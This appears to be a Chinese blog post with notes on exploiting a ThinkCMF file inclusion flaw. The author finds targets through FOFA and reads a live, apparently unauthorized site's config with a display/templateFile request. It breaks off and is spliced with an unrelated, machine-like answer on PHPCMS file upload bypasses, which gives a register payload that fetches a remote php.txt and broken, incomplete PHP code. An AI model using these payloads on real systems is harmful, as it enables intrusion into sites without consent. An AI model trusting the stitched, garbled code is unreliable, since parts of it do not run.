ThinkCMF框架任意文件包含漏洞学习复现小记

ThinkCMF框架任意文件包含漏洞分析与复现
本文详细记录了ThinkCMF框架在多个版本中存在的任意文件包含漏洞,介绍了漏洞的危害,展示了如何通过构造请求实现远程代码执行。作者通过实战演练,包括读取配置文件、写入PHP脚本并利用菜刀连接,揭示了漏洞的严重性。最后,分析了漏洞成因,并提出了修复方案,即限制display和fetch函数的访问权限。

前言

跟随大佬学习,了解学习了ThinkCMF任意文件包含漏洞,并进行了一次渗透,下面来写个学习笔记记录一下

影响版本

ThinkCMF X1.6.0
ThinkCMF X2.1.0
ThinkCMF X2.2.0
ThinkCMF X2.2.1
ThinkCMF X2.2.2

漏洞危害

任何人在无需任何权限情况下,通过构造特定的请求包即可在远程服务器上执行任意代码。

实战

因为是学习,所以直接fofa语法搜索‘app=“ThinkCMF”’,虽然搜索出来很多,但找到一个确实有漏洞的还要花很长时间,
在这里插入图片描述
下面就拿我费尽千辛万苦找到的一个站做一下笔记
首先尝试任意代码执行漏洞:
/?a=display&templateFile=README.md
在这里插入图片描述
尝试读取config.yaml配置文件
/?a=display&templateFile=config.yaml
这样就可以进行下一步了

复现phpcms任意文件上传漏洞可从不同场景和利用方式进行,以下是具体方法: ### 基于PHPCMS 9.6.0版本libs/classes/attachment.class.php文件漏洞漏洞源于PHPCMS程序在下载远程/本地文件时未对文件类型做正确校验,远程攻击者可利用该漏洞上传并执行任意的PHP代码[^1]。不过引用中未详细提及该场景下的复现步骤,通常需结合漏洞原理,构造恶意文件,利用程序在文件类型校验缺失的环节上传该文件来实现复现。 ### 绕过任意文件上传漏洞(压缩包文件递归删除) 代码实现了对解压后文件的检查,若文件后缀不在规定的 'jpg'、'gif'、'png' 范围内则会删除。以下是示例代码及复现思路: ```php function check_dir($dir){ $handle = opendir($dir); while(($f = readdir($handle)) !== false){ if(!in_array($f, array('.', '..'))){ if(is_dir($dir.$f)){ check_dir($dir.$f.'/'); }else{ $ext = strtolower(substr(strrchr($f, '.'), 1)); if(!in_array($ext, array('jpg', 'gif', 'png'))){ unlink($dir.$f); } } } } } ``` 复现思路:尝试构造包含非 'jpg'、'gif'、'png' 后缀文件的压缩包上传,观察是否能绕过该检查机制。 ### 利用注册处漏洞利用点 网上常用的一个payload如下: ```plaintext http://127.0.0.1/index.php?m=member&c=index&a=register&siteid= POST: siteid=1&modelid=11&username=zf1agac121&password=aasgfaewee311as&email=a1ea21f94@qq.com&info[content]=<img src=http://127.0.0.2/bx/php.txt?.php#.jpg>&dosubmit=1&protocol= ``` 复现步骤:在本地搭建好PHPCMS环境,将上述URL中的IP地址替换为本地实际IP,然后使用工具(如Burp Suite等)构造POST请求,发送该请求,观察是否能成功上传文件。 ### 压缩包文件无递归删除场景 示例代码如下: ```php $file = $_FILES['file']; if (!$file) { exit("请勿上传空文件"); } $name = $file['name']; $dir = 'upload/'; $ext = strtolower(substr(strrchr($name, '.'), 1)); function check_dir($dir) { $handle = opendir($dir); while (($f = readdir($handle)) !== false) { if (!in_array($f, array('.', '..'))) { $ext = strtolower(substr(strrchr($f, '.'), 1)); if (!in_array($ext, array('jpg', 'gif', 'png'))) { unlink($dir . $f); } } } } if (!is_dir($dir)) { mkdir($dir); } $temp_dir = $dir . 'member/1/'; if (!is_dir($temp_dir)) { mkdir($temp_dir); } if ($archive->extract(PCLZIP_OPT_PATH, $temp_dir, PCLZIP_OPT_REPLACE_NEWER) == 0) { check_dir($dir); exit("解压失败"); } check_dir($temp_dir); exit('上传成功!'); } else { move_uploaded_file($file['tmp_name'], $temp_dir . '/' . $file['name']); check_dir($temp_dir); exit('上传成功!'); } } else { exit('仅允许上传zip、jpg、gif、png文件!'); } ``` 复现思路:按照代码逻辑,准备好符合要求的压缩包文件进行上传,观察是否能绕过文件类型检查和递归删除机制。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值